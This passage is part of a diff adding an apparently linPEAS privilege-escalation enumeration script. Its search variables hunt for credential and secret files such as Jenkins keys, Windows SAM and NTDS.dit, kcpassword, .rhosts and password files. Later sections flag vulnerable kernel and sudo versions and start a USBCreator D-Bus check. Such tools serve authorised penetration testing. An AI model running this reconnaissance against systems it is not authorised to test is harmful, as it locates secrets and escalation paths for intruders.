+ PSTORAGE_SAMBA=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "smb\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_DNS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}etc|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}var" | grep -E "bind$" | sort | uniq | head -n 70)
+ PSTORAGE_SEEDDMS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "seeddms.*$" | sort | uniq | head -n 70)
+ PSTORAGE_DDCLIENT=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "ddclient\.conf$" | sort | uniq | head -n 70)
+ PSTORAGE_KCPASSWORD=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "kcpassword$" | sort | uniq | head -n 70)
+ PSTORAGE_SENTRY=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "sentry$|sentry\.conf\.py$" | sort | uniq | head -n 70)
+ PSTORAGE_STRAPI=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "environments$" | sort | uniq | head -n 70)
+ PSTORAGE_CACTI=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "cacti$" | sort | uniq | head -n 70)
+ PSTORAGE_ROUNDCUBE=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "roundcube$" | sort | uniq | head -n 70)
+ PSTORAGE_PASSBOLT=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "passbolt\.php$" | sort | uniq | head -n 70)
+ PSTORAGE_JETTY=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "jetty-realm\.properties$" | sort | uniq | head -n 70)
+ PSTORAGE_JENKINS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_CDROM\n$FIND_DIR_SRV\n$FIND_DIR_OPT\n$FIND_DIR_SBIN\n$FIND_DIR_CONCOURSE_AUTH\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SNAP\n$FIND_DIR_VAR\n$FIND_DIR_CONCOURSE_KEYS\n$FIND_DIR_MEDIA\n$FIND_DIR_TMP\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "master\.key$|hudson\.util\.Secret$|credentials\.xml$|config\.xml$|.*jenkins$" | sort | uniq | head -n 70)
+ PSTORAGE_WGET=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.wgetrc$" | sort | uniq | head -n 70)
+ PSTORAGE_INTERESTING_LOGS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "access\.log$|error\.log$" | sort | uniq | head -n 70)
+ PSTORAGE_OTHER_INTERESTING=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "\.bashrc$|\.google_authenticator$|hosts\.equiv$|\.lesshst$|\.plan$|\.profile$|\.recently-used\.xbel$|\.rhosts$|\.sudo_as_admin_successful$" | sort | uniq | head -n 70)
+ PSTORAGE_WINDOWS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.rdg$|AppEvent\.Evt$|autounattend\.xml$|ConsoleHost_history\.txt$|FreeSSHDservice\.ini$|NetSetup\.log$|Ntds\.dit$|protecteduserkey\.bin$|RDCMan\.settings$|SAM$|SYSTEM$|SecEvent\.Evt$|appcmd\.exe$|bash\.exe$|datasources\.xml$|default\.sav$|drives\.xml$|groups\.xml$|https-xampp\.conf$|https\.conf$|iis6\.log$|index\.dat$|my\.cnf$|my\.ini$|ntuser\.dat$|pagefile\.sys$|printers\.xml$|recentservers\.xml$|scclient\.exe$|scheduledtasks\.xml$|security\.sav$|server\.xml$|setupinfo$|setupinfo\.bak$|sitemanager\.xml$|sites\.ini$|software$|software\.sav$|sysprep\.inf$|sysprep\.xml$|system\.sav$|unattend\.inf$|unattend\.txt$|unattend\.xml$|unattended\.xml$|wcx_ftp\.ini$|ws_ftp\.ini$|web.*\.config$|winscp\.ini$|wsl\.exe$|plum\.sqlite$" | sort | uniq | head -n 70)
+ PSTORAGE_DATABASE=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '/man/|/usr/|/var/cache/|thumbcache|iconcache|IconCache|/man/|/usr/|/var/cache/' | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*\.db$|.*\.sqlite$|.*\.sqlite3$" | sort | uniq | head -n 70)
+ PSTORAGE_BACKUPS=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E "backup$|backups$" | sort | uniq | head -n 70)
+ PSTORAGE_PASSWORD_FILES=$(echo -e "$FIND_USR\n$FIND_SYSTEM\n$FIND_LIB64\n$FIND_LIB32\n$FIND_SNAP\n$FIND_SYS\n$FIND_PRIVATE\n$FIND_MNT\n$FIND_TMP\n$FIND_LIB\n$FIND_APPLICATIONS\n$FIND_BIN\n$FIND_SRV\n$FIND_CONCOURSE_KEYS\n$FIND_ETC\n$FIND_OPT\n$FIND_SYSTEMD\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_RUN\n$FIND_CACHE\n$FIND_SBIN\n$FIND_VAR\n$FIND_CONCOURSE_AUTH\n$FIND_HOMESEARCH\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^${ROOT_FOLDER}snap|^${ROOT_FOLDER}etc|^${ROOT_FOLDER}applications|^${ROOT_FOLDER}.cache|^${ROOT_FOLDER}mnt|^${ROOT_FOLDER}cdrom|^${ROOT_FOLDER}srv|^${ROOT_FOLDER}media|^${ROOT_FOLDER}opt|^${ROOT_FOLDER}sbin|^${ROOT_FOLDER}var|^${ROOT_FOLDER}bin|^${ROOT_FOLDER}private|^${ROOT_FOLDER}usr|^${ROOT_FOLDER}tmp|^$GREPHOMESEARCH" | grep -E ".*password.*$|.*credential.*$|creds.*$|.*\.key$" | sort | uniq | head -n 70)
+
+
+ ##### POST SEARCH VARIABLES #####
+ backup_folders_row="$(echo $PSTORAGE_BACKUPS | tr '\n' ' ')"
+ printf ${YELLOW}"DONE\n"$NC
+ echo ""
+fi
+
+
+
+
+
+
+
+
+
+
+
+
+
+if echo $CHECKS | grep -q system_information; then
+print_title "System Information"
+###########################################
+#-------------) System Info (-------------#
+###########################################
+
+#-- SY) OS
+print_2title "Operative system"
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
+(cat /proc/version || uname -a ) 2>/dev/null | sed -${E} "s,$kernelDCW_Ubuntu_Precise_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_5,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Precise_6,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Trusty_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Ubuntu_Xenial,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel5_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_1,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_2,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_3,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel6_4,${SED_RED_YELLOW}," | sed -${E} "s,$kernelDCW_Rhel7,${SED_RED_YELLOW}," | sed -${E} "s,$kernelB,${SED_RED},"
+warn_exec lsb_release -a 2>/dev/null
+if [ "$MACPEAS" ]; then
+ warn_exec system_profiler SPSoftwareDataType
+fi
+echo ""
+
+#-- SY) Sudo
+print_2title "Sudo version"
+if [ "$(command -v sudo 2>/dev/null)" ]; then
+print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version"
+sudo -V 2>/dev/null | grep "Sudo ver" | sed -${E} "s,$sudovB,${SED_RED},"
+else echo_not_found "sudo"
+fi
+echo ""
+
+#--SY) USBCreator
+if (busctl list 2>/dev/null | grep -q com.ubuntu.USBCreator) || [ "$DEBUG" ]; then
+ print_2title "USBCreator"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation"
+
+ pc_version=$(dpkg -l 2>/dev/null | grep policykit-desktop-privileges | grep -oP "[0-9][0-9a-zA-Z\.]+")
+ if [ -z "$pc_version" ]; then
+ pc_version=$(apt-cache policy policykit-desktop-privileges 2>/dev/null | grep -oP "\*\*\*.*" | cut -d" " -f2)
+ fi
+ if [ -n "$pc_version" ]; then
+ pc_length=${#pc_version}
+ pc_major=$(echo "$pc_version" | cut -d. -f1)
+ pc_minor=$(echo "$pc_version" | cut -d. -f2)
+ if [ "$pc_length" -eq 4 ] && [ "$pc_major" -eq 0 ] && [ "$pc_minor" -lt 21 ]; then
